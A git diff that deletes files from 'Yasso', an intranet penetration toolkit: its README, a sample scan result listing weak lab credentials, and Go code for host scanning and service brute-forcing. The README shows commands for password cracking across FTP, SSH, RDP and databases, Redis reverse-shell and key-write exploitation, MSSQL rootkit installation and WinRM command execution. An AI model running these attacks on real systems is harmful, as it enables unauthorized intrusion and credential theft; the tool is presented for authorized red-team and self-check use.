https://github.com/panjf2000/ants
|
||||
|
||||
```
|
||||
511
README_EN.md
511
README_EN.md
@@ -1,511 +0,0 @@
|
||||
👾 Yasso-Yasso 👾
|
||||
|
||||

|
||||
|
||||
[Chinese Introduce](README.zh_CN.md)
|
||||
|
||||
## Introduce😈
|
||||
|
||||
Yasso will be released as an Intranet assisted penetration tool set, which brings together a number of utility features
|
||||
to help Red Team members use tools in extreme Intranet environments, as well as Intranet self-check for Blue Team
|
||||
members. It also adds proxy functionality and scan concurrency for ants. In the realization of functions at the same
|
||||
time the pursuit of accuracy and speed.
|
||||
|
||||
[](https://asciinema.org/a/fBxRVxLJ30eVo0dOz2e9mlAZL)
|
||||
|
||||
The format is
|
||||
|
||||
```
|
||||
Yasso [模块] [参数1] [参数2] [参数...]
|
||||
```
|
||||
|
||||
In the module, 'Flag' represents the parameters of the current command, and 'Global Flags' represents the Global
|
||||
parameters (all commands can be used).
|
||||
|
||||
## Program function module 👻
|
||||
|
||||
-H parameters all support IP. TXT import, as shown below
|
||||
|
||||

|
||||
|
||||
Currently available functional modules:
|
||||
|
||||
<b>ALL module: full scan mode of calling all modules, faster and more powerful, perfect combination of ants and
|
||||
concurrency</b>
|
||||
|
||||
```
|
||||
Usage:
|
||||
Yasso all [flags]
|
||||
|
||||
Flags:
|
||||
-h, --help help for all
|
||||
-H, --host hosts Set hosts(The format is similar to Nmap)
|
||||
--noping No use ping to scanner alive host (default true)
|
||||
-P, --ports ports Set ports(The format is similar to Nmap)
|
||||
--proxy string Set socks5 proxy
|
||||
--runtime int Set scanner ants pool thread (default 100)
|
||||
--time duration Set timeout (default 1s)
|
||||
```
|
||||
|
||||
<b>Ping module: ordinary user can call system ping, root can choose to use ICMP packet</b>
|
||||
|
||||
```
|
||||
Use ping or icmp to scanner alive host
|
||||
|
||||
Usage:
|
||||
|
||||
Yasso ping [flags]
|
||||
|
||||
Flags:
|
||||
-h, --help help for ping
|
||||
-H, --host hosts Set hosts(The format is similar to Nmap)
|
||||
-i, --icmp Icmp packets are sent to check whether the host is alive(need root)
|
||||
```
|
||||
|
||||
<b>Crack module: Powerful blasting module and utilizing toolset - sub-toolset</b>
|
||||
|
||||
```
|
||||
Available Commands:
|
||||
ftp ftp burst module (support proxy)
|
||||
grdp RDP burst module (support proxy)
|
||||
log4j Open a socket listener to test log4J vulnerabilities offline
|
||||
mongo MongoDB burst module (support proxy)
|
||||
mssql SQL Server burst module and extend tools (not support proxy)
|
||||
mysql MYSQL burst module and extend tools (support proxy)
|
||||
postgres PostgreSQL burst module (not support proxy)
|
||||
redis Redis burst and Redis extend tools (support proxy)
|
||||
smb Smb burst module (not support proxy)
|
||||
ssh SSH burst and SSH extend tools (support proxy)
|
||||
winrm winrm burst and extend tools (support proxy)
|
||||
|
||||
Flags:
|
||||
--crack make sure to use crack
|
||||
-h, --help help for crack
|
||||
-H, --hosts string to crack hosts address (crack Must)
|
||||
--pd string pass dic path (.eg) pass.txt
|
||||
--port int to crack hosts port (if not set use default)
|
||||
--proxy string set socks5 proxy address
|
||||
--runtime int set crack thread number (default 100)
|
||||
--timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
|
||||
--ud string user dic path (.eg) user.txt
|
||||
```
|
||||
|
||||
The program is mainly divided into a number of sub-command functions, each function is annotated in detail, here is a
|
||||
detailed introduction of sub-functions
|
||||
|
||||
<details>
|
||||
<summary>ftp FTP service blowing module - support SOcks5 proxy</summary>
|
||||
|
||||
```
|
||||
Flags:
|
||||
-h, --help help for ftp
|
||||
|
||||
Global Flags:
|
||||
--crack make sure to use crack
|
||||
-H, --hosts string to crack hosts address (crack Must)
|
||||
--pd string pass dic path (.eg) pass.txt
|
||||
--port int to crack hosts port (if not set use default)
|
||||
--proxy string set socks5 proxy address
|
||||
--runtime int set crack thread number (default 100)
|
||||
--timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
|
||||
--ud string user dic path (.eg) user.txt
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>grdp RDP service blowup module - support socks5 proxy</summary>
|
||||
|
||||
```
|
||||
Flags:
|
||||
--domain string set host domain
|
||||
-h, --help help for grdp
|
||||
|
||||
Global Flags:
|
||||
--crack make sure to use crack
|
||||
-H, --hosts string to crack hosts address (crack Must)
|
||||
--pd string pass dic path (.eg) pass.txt
|
||||
--port int to crack hosts port (if not set use default)
|
||||
--proxy string set socks5 proxy address
|
||||
--runtime int set crack thread number (default 100)
|
||||
--timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
|
||||
--ud string user dic path (.eg) user.txt
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>log4j log4j2 server - For manual log4J vulnerability detection within the network</summary>
|
||||
|
||||
```
|
||||
Flags:
|
||||
-b, --bind string socket listen address (default "0.0.0.0:4568")
|
||||
-h, --help help for log4j
|
||||
|
||||
Global Flags:
|
||||
--crack make sure to use crack
|
||||
-H, --hosts string to crack hosts address (crack Must)
|
||||
--pd string pass dic path (.eg) pass.txt
|
||||
--port int to crack hosts port (if not set use default)
|
||||
--proxy string set socks5 proxy address
|
||||
--runtime int set crack thread number (default 100)
|
||||
--timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
|
||||
--ud string user dic path (.eg) user.txt
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>mongo mongodb service blasting module - support socks5 proxy</summary>
|
||||
|
||||
```
|
||||
Flags:
|
||||
-h, --help help for mongo
|
||||
|
||||
Global Flags:
|
||||
--crack make sure to use crack
|
||||
-H, --hosts string to crack hosts address (crack Must)
|
||||
--pd string pass dic path (.eg) pass.txt
|
||||
--port int to crack hosts port (if not set use default)
|
||||
--proxy string set socks5 proxy address
|
||||
--runtime int set crack thread number (default 100)
|
||||
--timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
|
||||
--ud string user dic path (.eg) user.txt
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>mssql SQL Server service blowup module and power lifting auxiliary module - socks5 proxy is not supported</summary>
|
||||
|
||||
```
|
||||
Flags:
|
||||
--cld string Execute WarSQLKit Command (eg.) --cld "whoami"
|
||||
-c, --cmd string Execute System command
|
||||
-h, --help help for mssql
|
||||
--hostname string Remote Connect mssql address(brute param need false)
|
||||
--inkit int install mssql SQLKit Rootkit [1,WarSQLKit] [2,SharpSQLKit(no echo)]
|
||||
--kithelp int print SQLKit Use help
|
||||
--method int Execute System command method [1,xpshell] [2,oleshell] (default 1)
|
||||
--pass string Login ssh password
|
||||
-s, --sql string Execute sql command
|
||||
--unkit int uninstall mssql SQLKit Rootkit [1,WarSQLKit] [2,SharpSQLKit(no echo)]
|
||||
--upload stringArray Use ole upload file (.eg) source,dest
|
||||
--user string Login ssh username (default "sa")
|
||||
|
||||
Global Flags:
|
||||
--crack make sure to use crack
|
||||
-H, --hosts string to crack hosts address (crack Must)
|
||||
--pd string pass dic path (.eg) pass.txt
|
||||
--port int to crack hosts port (if not set use default)
|
||||
--proxy string set socks5 proxy address
|
||||
--runtime int set crack thread number (default 100)
|
||||
--timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
|
||||
--ud string user dic path (.eg) user.txt
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>mysql mysql service explosion module and database query - support for SOcks5 proxy</summary>
|
||||
|
||||
```
|
||||
Flags:
|
||||
-C, --cmd string mysql sql command
|
||||
-h, --help help for mysql
|
||||
--hostname string Remote Connect a Mysql (brute param need false)
|
||||
--pass string Login ssh password
|
||||
--shell create sql shell to exec sql command
|
||||
--user string Login ssh username
|
||||
|
||||
Global Flags:
|
||||
--crack make sure to use crack
|
||||
-H, --hosts string to crack hosts address (crack Must)
|
||||
--pd string pass dic path (.eg) pass.txt
|
||||
--port int to crack hosts port (if not set use default)
|
||||
--proxy string set socks5 proxy address
|
||||
--runtime int set crack thread number (default 100)
|
||||
--timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
|
||||
--ud string user dic path (.eg) user.txt
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>postgres PostgreSQL Service blowup module - No support for SOcks5 proxy</summary>
|
||||
|
||||
```
|
||||
Flags:
|
||||
-h, --help help for postgres
|
||||
|
||||
Global Flags:
|
||||
--crack make sure to use crack
|
||||
-H, --hosts string to crack hosts address (crack Must)
|
||||
--pd string pass dic path (.eg) pass.txt
|
||||
--port int to crack hosts port (if not set use default)
|
||||
--proxy string set socks5 proxy address
|
||||
--runtime int set crack thread number (default 100)
|
||||
--timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
|
||||
--ud string user dic path (.eg) user.txt
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
<details>
|
||||
<summary>Redis Redis service blowup module, unauthorized detection, one-click utilization (write public key, bounce shell) - support socks5 proxy</summary>
|
||||
|
||||
```
|
||||
Flags:
|
||||
-h, --help help for redis
|
||||
--hostname string Redis will connect this address
|
||||
--pass string set login pass
|
||||
--rebound string Rebound shell address (eg.) 192.168.1.1:4444
|
||||
--rekey string Write public key to Redis (eg.) id_rsa.pub
|
||||
|
||||
Global Flags:
|
||||
--crack make sure to use crack
|
||||
-H, --hosts string to crack hosts address (crack Must)
|
||||
--pd string pass dic path (.eg) pass.txt
|
||||
--port int to crack hosts port (if not set use default)
|
||||
--proxy string set socks5 proxy address
|
||||
--runtime int set crack thread number (default 100)
|
||||
--timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
|
||||
--ud string user dic path (.eg) user.txt
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
<details>
|
||||
<summary>smb SMB Service blowup module - Does not support SOcks5 proxy</summary>
|
||||
|
||||
```
|
||||
Flags:
|
||||
-h, --help help for smb
|
||||
|
||||
Global Flags:
|
||||
--crack make sure to use crack
|
||||
-H, --hosts string to crack hosts address (crack Must)
|
||||
--pd string pass dic path (.eg) pass.txt
|
||||
--port int to crack hosts port (if not set use default)
|
||||
--proxy string set socks5 proxy address
|
||||
--runtime int set crack thread number (default 100)
|
||||
--timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
|
||||
--ud string user dic path (.eg) user.txt
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
<details>
|
||||
<summary>ssh SSH service burst module, fully interactive shell connection - support socks5 proxy
|
||||
</summary>
|
||||
|
||||
```
|
||||
Flags:
|
||||
-h, --help help for ssh
|
||||
--hostname string Open an interactive SSH at that address(brute param need false)
|
||||
--key string ssh public key path
|
||||
--pass string Login ssh password
|
||||
--user string Login ssh username
|
||||
|
||||
Global Flags:
|
||||
--crack make sure to use crack
|
||||
-H, --hosts string to crack hosts address (crack Must)
|
||||
--pd string pass dic path (.eg) pass.txt
|
||||
--port int to crack hosts port (if not set use default)
|
||||
--proxy string set socks5 proxy address
|
||||
--runtime int set crack thread number (default 100)
|
||||
--timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
|
||||
--ud string user dic path (.eg) user.txt
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
<details>
|
||||
<summary>winrm Winrm service blowup module, command execution horizontal - support socks5 proxy
|
||||
</summary>
|
||||
|
||||
```
|
||||
Flags:
|
||||
-c, --cmd string Execute system command
|
||||
-h, --help help for winrm
|
||||
--hostname string Open an interactive SSH at that address(brute param need false)
|
||||
--pass string Login ssh password
|
||||
--shell Get a cmd shell with WinRM
|
||||
--user string Login ssh username
|
||||
|
||||
Global Flags:
|
||||
--crack make sure to use crack
|
||||
-H, --hosts string to crack hosts address (crack Must)
|
||||
--pd string pass dic path (.eg) pass.txt
|
||||
--port int to crack hosts port (if not set use default)
|
||||
--proxy string set socks5 proxy address
|
||||
--runtime int set crack thread number (default 100)
|
||||
--timeout duration crack module timeout(.eg) 1s (ns,ms,s,m,h) (default 1s)
|
||||
--ud string user dic path (.eg) user.txt
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
<b>ps module: using ANTS coroutine for port scanning, faster and more accurate - does not support SOcks5 proxy
|
||||
|
||||
</b>
|
||||
|
||||
```
|
||||
Usage:
|
||||
Yasso ps [flags]
|
||||
|
||||
Flags:
|
||||
-h, --help help for ps
|
||||
-H, --hosts hosts Set hosts(The format is similar to Nmap)
|
||||
-p, --ports ports Set ports(The format is similar to Nmap)(eg.) 1-2000,3389
|
||||
-r, --runtime int Set scanner ants pool thread (default 100)
|
||||
-t, --time duration Set timeout (eg.) -t 50ms(ns,ms,s,m,h) (default 500ms)
|
||||
```
|
||||
|
||||
<b>vulscan module: Host vulnerability scan - support MS17010, SMbGhost - support socks5 proxy</b>
|
||||
|
||||
```
|
||||
Usage:
|
||||
Yasso vulscan [flags]
|
||||
|
||||
Flags:
|
||||
--all scan all vuln contains ms17010,smbghost
|
||||
--gs scan smbghost
|
||||
-h, --help help for vulscan
|
||||
-H, --hosts hosts Set hosts(The format is similar to Nmap)
|
||||
--ms scan ms17010
|
||||
--proxy string Set socks5 proxy
|
||||
```
|
||||
|
||||
<b>WebScan module: full dismap porting, with more powerful fingerprint recognition - support socks5 proxy</b>
|
||||
|
||||
```
|
||||
Usage:
|
||||
Yasso webscan [flags]
|
||||
|
||||
Flags:
|
||||
-h, --help help for webscan
|
||||
-H, --hosts hosts Set hosts(The format is similar to Nmap)
|
||||
--ping Use ping to scan alive host
|
||||
-p, --ports ports Set ports(The format is similar to Nmap)(eg.) 1-2000,3389
|
||||
--proxy string Set socks5 proxy and use it
|
||||
-r, --runtime int Set scanner ants pool thread (default 508)
|
||||
-t, --time duration Set timeout (eg.) -t 50ms(ns,ms,s,m,h) (default 1s)
|
||||
```
|
||||
|
||||
<b>winscan module: Windows host netBIOS recognition, OXID network card discovery, SMB host fingerprint - support SOcks5
|
||||
proxy</b>
|
||||
|
||||
```
|
||||
netbios、smb、oxid scan
|
||||
|
||||
Usage:
|
||||
Yasso winscan [flags]
|
||||
|
||||
Flags:
|
||||
--all Set all flag and use oxid,netbios,smb scan (default true)
|
||||
-h, --help help for winscan
|
||||
-H, --hosts hosts Set hosts(The format is similar to Nmap)
|
||||
--netbios Set netbios flag and use netbios scan
|
||||
--oxid Set oxid flag and use oxid scan
|
||||
--proxy string Set socks5 proxy and use it
|
||||
--smb Set smb flag and use smb scan
|
||||
--time duration Set net conn timeout (default 1s)
|
||||
```
|
||||
|
||||
## Example👿
|
||||
|
||||
Scan service invocation for the ALL module
|
||||
|
||||
```
|
||||
Yasso. Exe all - 192.168.248.1/24 H
|
||||
```
|
||||
|
||||

|
||||
|
||||
MSSQL commands perform powerlifting and WarSQLKit -CLR Rookit install and uninstall the powerlifting function
|
||||
|
||||
```
|
||||
Yasso.exe crack MSSQL --user sa --pass "admin@123" -c whoami --hostname 192.168.248.128
|
||||
Yasso.exe crack MSSQL --user sa --pass "admin@123" -c whoami --hostname 192.168.248.128 --method 2
|
||||
Yasso.exe crack MSSQL --user sa --pass "admin@123" -c whoami --hostname 192.168.248.128 --inkit 1
|
||||
Yasso.exe crack MSSQL --hostname 192.168.248.128 --user sa --pass "admin@123" -- CLD "sp_getSqlHash"
|
||||
Yasso.exe crack MSSQL --hostname 192.168.248.128 --user sa --pass "admin@123" -- CLD "whoami"
|
||||
Yasso.exe crack MSSQL --user sa --pass "admin@123" -c whoami --hostname 192.168.248.128 --unkit 1
|
||||
```
|
||||
|
||||

|
||||
|
||||
Winrm command execution and interactive shell
|
||||
|
||||
```
|
||||
Yasso.exe crack winrm --hostname 192.168.248.128 -c "ipconfig /all" --pass "930517" --user "administrator"
|
||||
```
|
||||
|
||||

|
||||
|
||||
```
|
||||
Yasso. Exe crack winrm --hostname 192.168.248.128 --shell --pass "930517" --user "administrator"
|
||||
```
|
||||
|
||||

|
||||
|
||||
grdp's powerful blasting function
|
||||
|
||||
```
|
||||
Yasso. Exe crack GRDP --domain "kilon.local" -- pd.\ pass. TXT -- ud.\ user. TXT -h 192.168.248.129/24 --crack
|
||||
```
|
||||
|
||||

|
||||
ssh interactive login
|
||||
|
||||
```
|
||||
Yasso.exe crack SSH --hostname 192.168.248.219 --user root --pass kali
|
||||
```
|
||||
|
||||

|
||||
|
||||
## Tool advantages 🤡
|
||||
|
||||
- Simple command, simple module function invocation, easy to expand and add a variety of new functions
|
||||
|
||||
- A large collection of commonly used features, making Yasso not like a regular scanner, but rather a toolset
|
||||
|
||||
- Powerful SQL penetration assist functions, providing common Redis, mysql, MSSQL databases such as one key weight and
|
||||
database operations
|
||||
|
||||
- Powerful concurrent blasting, allowing larger dictionaries to gain faster speed
|
||||
|
||||
- The strong addition of RDP and WinRM makes the horizontal network faster and more convenient
|
||||
|
||||
## Disclaimer 🧐
|
||||
|
||||
This tool is only applicable to enterprise security construction activities legally authorized by. If you need to test
|
||||
the usability of this tool, please build a target machine environment by yourself.
|
||||
|
||||
When using this tool for testing, ensure that you comply with local laws and regulations and that you have obtained
|
||||
sufficient authorization. <b>It is important not to scan unauthorized targets</b>
|
||||
If you have any illegal behavior during the use of the tool, you shall bear the corresponding consequences by yourself,
|
||||
and we will not assume any legal and joint liability. Before installing and using this tool, please <b>carefully read
|
||||
and fully understand the contents of each clause </b>. Restrictions, disclaimers or other clauses related to your
|
||||
significant rights and interests may be highlighted in bold or underlined forms. Do not install and use this tool unless
|
||||
you have fully read, fully understand and accept all terms of this agreement. Your use of this Agreement or your
|
||||
acceptance of this Agreement in any other way, express or implied, shall be deemed that you have read and agreed to be
|
||||
bound by this Agreement.
|
||||
|
||||
## Tool writing reference link 👀
|
||||
|
||||
```
|
||||
https://github.com/shadow1ng/fscan
|
||||
https://github.com/k8gege/LadonGo
|
||||
https://github.com/zyylhn/zscan
|
||||
https://github.com/uknowsec/SharpSQLTools
|
||||
https://github.com/mindspoof/MSSQL-Fileless-Rootkit-WarSQLKit
|
||||
https://github.com/masterzen/winrm
|
||||
https://github.com/tomatome/grdp
|
||||
https://github.com/panjf2000/ants
|
||||
```
|
||||
51
Yasso.json
51
Yasso.json
@@ -1,51 +0,0 @@
|
||||
[
|
||||
{
|
||||
"HostName": "192.168.248.219",
|
||||
"Ports": [
|
||||
21,
|
||||
27017,
|
||||
6379,
|
||||
22,
|
||||
11211,
|
||||
5432
|
||||
],
|
||||
"WeakPass": [
|
||||
{
|
||||
"ftp": {
|
||||
"kali": "kali"
|
||||
}
|
||||
},
|
||||
{
|
||||
"mongodb": {
|
||||
"null": "null"
|
||||
}
|
||||
},
|
||||
{
|
||||
"mongodb": {
|
||||
"admin": "123456"
|
||||
}
|
||||
},
|
||||
{
|
||||
"redis": {
|
||||
"null": "null"
|
||||
}
|
||||
},
|
||||
{
|
||||
"ssh": {
|
||||
"root": "kali"
|
||||
}
|
||||
},
|
||||
{
|
||||
"Memcached": {
|
||||
"null": "null"
|
||||
}
|
||||
},
|
||||
{
|
||||
"postgres": {
|
||||
"admin": "admin@123"
|
||||
}
|
||||
}
|
||||
],
|
||||
"Web": null
|
||||
}
|
||||
]
|
||||
167
cmd/all.go
167
cmd/all.go
@@ -1,167 +0,0 @@
|
||||
package cmd
|
||||
|
||||
import (
|
||||
"Yasso/config"
|
||||
"fmt"
|
||||
"github.com/spf13/cobra"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
var allCmd = &cobra.Command{
|
||||
Use: "all",
|
||||
Short: "Use all scanner module (.attention) Some service not support proxy,You might lose it [*]",
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
if Hosts == "" {
|
||||
_ = cmd.Help()
|
||||
return
|
||||
}
|
||||
allRun(Hosts, Ports, JsonBool, Runtime, PingBool)
|
||||
return
|
||||
},
|
||||
}
|
||||
|
||||
func init() {
|
||||
allCmd.Flags().StringVarP(&Hosts, "host", "H", "", "Set `hosts`(The format is similar to Nmap) or ips.txt file path")
|
||||
allCmd.Flags().StringVarP(&Ports, "ports", "P", "", "Set `ports`(The format is similar to Nmap)")
|
||||
allCmd.Flags().BoolVar(&PingBool, "noping", false, "No use ping to scanner alive host")
|
||||
allCmd.Flags().BoolVar(&NoCrack, "nocrack", false, "Do not blast fragile service")
|
||||
allCmd.Flags().BoolVar(&RunICMP, "icmp", false, "Use icmp to scanner alive host")
|
||||
allCmd.Flags().IntVar(&Runtime, "runtime", 100, "Set scanner ants pool thread")
|
||||
allCmd.Flags().StringVar(&ProxyHost, "proxy", "", "Set socks5 proxy")
|
||||
allCmd.Flags().BoolVar(&JsonBool, "json", false, "Output json file")
|
||||
allCmd.Flags().DurationVar(&TimeDuration, "time", 1*time.Second, "Set timeout ")
|
||||
rootCmd.AddCommand(allCmd)
|
||||
}
|
||||
|
||||
func allRun(hostString string, portString string, jsonbool bool, runtime int, noping bool) {
|
||||
defer func() {
|
||||
fmt.Println("[Yasso] scan task is completed")
|
||||
}()
|
||||
var (
|
||||
ips []string
|
||||
ports []int
|
||||
webports []int
|
||||
alive []string
|
||||
wg sync.WaitGroup
|
||||
lock sync.Mutex
|
||||
)
|
||||
if hostString != "" {
|
||||
ips, _ = ResolveIPS(hostString) // 解析ip并获取ip列表
|
||||
}
|
||||
if Ports != "" {
|
||||
ports, _ = ResolvePORTS(portString)
|
||||
webports, _ = ResolvePORTS(config.DisMapPorts)
|
||||
} else {
|
||||
ports, _ = ResolvePORTS(DefaultPorts)
|
||||
webports, _ = ResolvePORTS(config.DisMapPorts)
|
||||
}
|
||||
|
||||
if noping == true {
|
||||
// 不执行ping操作
|
||||
alive = ips
|
||||
} else {
|
||||
// 执行 ping 操作
|
||||
fmt.Println("----- [Yasso] Start do ping scan -----")
|
||||
alive = execute(ips, RunICMP)
|
||||
}
|
||||
fmt.Println("[Yasso get alive host] is", len(alive))
|
||||
// 做漏洞扫描
|
||||
var out []JsonOut
|
||||
//TODO:
|
||||
if len(alive) > 0 {
|
||||
fmt.Println("----- [Yasso] Start do vuln scan -----")
|
||||
VulScan(alive, false, true, false) // 做漏洞扫描
|
||||
var PortResults []PortResult
|
||||
if len(alive) != 0 {
|
||||
fmt.Println("----- [Yasso] Start do port scan -----")
|
||||
PortResults = PortScan(alive, ports)
|
||||
}
|
||||
if len(PortResults) != 0 && NoCrack == false {
|
||||
fmt.Println("----- [Yasso] Start do crack service -----")
|
||||
for _, v := range PortResults {
|
||||
var one JsonOut
|
||||
// 对json各式数据复制
|
||||
wg.Add(1)
|
||||
go func(v PortResult, one JsonOut) {
|
||||
defer wg.Done()
|
||||
one.Host = v.IP
|
||||
one.Ports = v.Port
|
||||
for _, p := range v.Port {
|
||||
lock.Lock()
|
||||
switch p {
|
||||
case 21:
|
||||
users, pass := ReadTextToDic("ftp", UserDic, PassDic)
|
||||
// add ftp "" pass
|
||||
flag, _ := FtpConn(config.HostIn{Host: v.IP, Port: p, TimeOut: TimeDuration}, "anonymous", "")
|
||||
if flag == true {
|
||||
if flag == true && jsonbool == true {
|
||||
one.WeakPass = append(one.WeakPass, map[string]map[string]string{"ftp": {"anonymous": "null"}})
|
||||
}
|
||||
continue
|
||||
}
|
||||
burpTask(v.IP, "ftp", users, pass, p, runtime, TimeDuration, "", false, jsonbool, &one)
|
||||
case 22:
|
||||
users, pass := ReadTextToDic("ssh", UserDic, PassDic)
|
||||
burpTask(v.IP, "ssh", users, pass, p, runtime, TimeDuration, "", false, jsonbool, &one)
|
||||
case 3306:
|
||||
users, pass := ReadTextToDic("mysql", UserDic, PassDic)
|
||||
burpTask(v.IP, "mysql", users, pass, p, runtime, TimeDuration, "", false, jsonbool, &one)
|
||||
case 6379:
|
||||
_, b, _ := RedisUnAuthConn(config.HostIn{Host: v.IP, Port: p, TimeOut: TimeDuration}, "test", "test")
|
||||
if b == true && jsonbool == true {
|
||||
one.WeakPass = append(one.WeakPass, map[string]map[string]string{"redis": {"null": "null"}})
|
||||
}
|
||||
users, pass := ReadTextToDic("redis", UserDic, PassDic)
|
||||
burpTask(v.IP, "redis", users, pass, p, runtime, 5*time.Second, "", false, jsonbool, &one)
|
||||
case 1433:
|
||||
users, pass := ReadTextToDic("mssql", UserDic, PassDic)
|
||||
burpTask(v.IP, "mssql", users, pass, p, runtime, TimeDuration, "", false, jsonbool, &one)
|
||||
case 5432:
|
||||
users, pass := ReadTextToDic("postgres", UserDic, PassDic)
|
||||
burpTask(v.IP, "postgres", users, pass, p, runtime, TimeDuration, "", false, jsonbool, &one)
|
||||
case 27017:
|
||||
b, _ := MongoUnAuth(config.HostIn{Host: v.IP, Port: p, TimeOut: TimeDuration}, "test", "test")
|
||||
if b == true && jsonbool == true {
|
||||
one.WeakPass = append(one.WeakPass, map[string]map[string]string{"mongodb": {"null": "null"}})
|
||||
}
|
||||
users, pass := ReadTextToDic("mongodb", UserDic, PassDic)
|
||||
burpTask(v.IP, "mongodb", users, pass, p, runtime, TimeDuration, "", false, jsonbool, &one)
|
||||
case 445:
|
||||
users, pass := ReadTextToDic("smb", UserDic, PassDic)
|
||||
burpTask(v.IP, "smb", users, pass, p, runtime, TimeDuration, "", false, jsonbool, &one)
|
||||
case 5985:
|
||||
users, pass := ReadTextToDic("rdp", UserDic, PassDic) // winrm与本地rdp认证相同
|
||||
burpTask(v.IP, "winrm", users, pass, p, runtime, TimeDuration, "", false, jsonbool, &one)
|
||||
case 11211:
|
||||
//memcached 未授权
|
||||
b, _ := MemcacheConn(config.HostIn{Host: v.IP, Port: p, TimeOut: TimeDuration})
|
||||
if b == true && jsonbool == true {
|
||||
one.WeakPass = append(one.WeakPass, map[string]map[string]string{"Memcached": {"null": "null"}})
|
||||
}
|
||||
case 2181:
|
||||
//zookeeper 未授权
|
||||
b, _ := ZookeeperConn(config.HostIn{Host: v.IP, Port: p, TimeOut: TimeDuration})
|
||||
if b == true && jsonbool == true {
|
||||
one.WeakPass = append(one.WeakPass, map[string]map[string]string{"zookeeper": {"null": "null"}})
|
||||
}
|
||||
}
|
||||
lock.Unlock()
|
||||
}
|
||||
out = append(out, one)
|
||||
}(v, one)
|
||||
}
|
||||
wg.Wait()
|
||||
}
|
||||
// 做网卡扫描
|
||||
if len(alive) > 0 {
|
||||
fmt.Println("----- [Yasso] Start do Windows service scan -----")
|
||||
winscan(alive, true)
|
||||
}
|
||||
fmt.Println("----- [Yasso] Start do web service scan -----")
|
||||
out = DisMapScanJson(&out, webports)
|
||||
}
|
||||
if jsonbool == true {
|
||||
Out("Yasso.json", out)
|
||||
}
|
||||
}
|
||||
310
cmd/brute.go
310
cmd/brute.go
@@ -1,310 +0,0 @@
|
||||
package cmd
|
||||
|
||||
import (
|
||||
"Yasso/config"
|
||||
"bufio"
|
||||
"fmt"
|
||||
"github.com/panjf2000/ants/v2"
|
||||
"github.com/projectdiscovery/cdncheck"
|
||||
"github.com/spf13/cobra"
|
||||
"log"
|
||||
"math"
|
||||
"net"
|
||||
"os"
|
||||
"reflect"
|
||||
"strings"
|
||||
"sync"
|
||||
"time"
|
||||
)
|
||||
|
||||
// 爆破模块
|
||||
|
||||
var BruteCmd = &cobra.Command{
|
||||
Use: "crack",
|
||||
Short: "crack module and extend tool",
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
cmd.DisableFlagsInUseLine = true
|
||||
_ = cmd.Help()
|
||||
},
|
||||
}
|
||||
|
||||
func init() {
|
||||
// 添加全局变量
|
||||
BruteCmd.PersistentFlags().StringVarP(&Hosts, "hosts", "H", "", "to crack hosts address or ips.txt path (crack Must)")
|
||||
BruteCmd.PersistentFlags().IntVar(&BrutePort, "port", 0, "to crack hosts port (if not set use default)")
|
||||
BruteCmd.PersistentFlags().IntVar(&Runtime, "runtime", 100, "set crack thread number")
|
||||
BruteCmd.PersistentFlags().BoolVarP(&BruteFlag, "crack", "", false, "make sure to use crack")
|
||||
BruteCmd.PersistentFlags().DurationVar(&TimeDuration, "timeout", 1*time.Second, "crack module timeout(.eg) 1s (ns,ms,s,m,h)")
|
||||
BruteCmd.PersistentFlags().StringVar(&PassDic, "pd", "", "pass dic path (.eg) pass.txt")
|
||||
BruteCmd.PersistentFlags().StringVar(&UserDic, "ud", "", "user dic path (.eg) user.txt")
|
||||
BruteCmd.PersistentFlags().StringVar(&ProxyHost, "proxy", "", "set socks5 proxy address")
|
||||
BruteCmd.AddCommand(SshCmd)
|
||||
BruteCmd.AddCommand(WinRMCmd)
|
||||
BruteCmd.AddCommand(SmbCmd)
|
||||
BruteCmd.AddCommand(Log4jCmd)
|
||||
BruteCmd.AddCommand(RedisCmd)
|
||||
BruteCmd.AddCommand(RdpCmd)
|
||||
BruteCmd.AddCommand(MysqlCmd)
|
||||
BruteCmd.AddCommand(MssqlCmd)
|
||||
BruteCmd.AddCommand(FtpCmd)
|
||||
BruteCmd.AddCommand(PostgreCmd)
|
||||
BruteCmd.AddCommand(MongoCmd)
|
||||
rootCmd.AddCommand(BruteCmd)
|
||||
}
|
||||
|
||||
var BurpModule = map[string]interface{}{
|
||||
"ssh": SshConnByUser,
|
||||
"mysql": MySQLConn,
|
||||
"mssql": MssqlConn,
|
||||
"redis": RedisAuthConn,
|
||||
"unredis": RedisUnAuthConn, // redis 未授权
|
||||
"postgres": PostgreConn,
|
||||
"smb": SmbConn,
|
||||
"ftp": FtpConn,
|
||||
"rdp": RdpConn,
|
||||
"winrm": WinRMAuth,
|
||||
"mongodb": MongoAuth,
|
||||
"unmongodb": MongoUnAuth, // mongodb 未授权
|
||||
}
|
||||
|
||||
func BurpCall(EncryptMap map[string]interface{}, name string, params ...interface{}) []reflect.Value {
|
||||
f := reflect.ValueOf(EncryptMap[name]) // 获取map键位name的值
|
||||
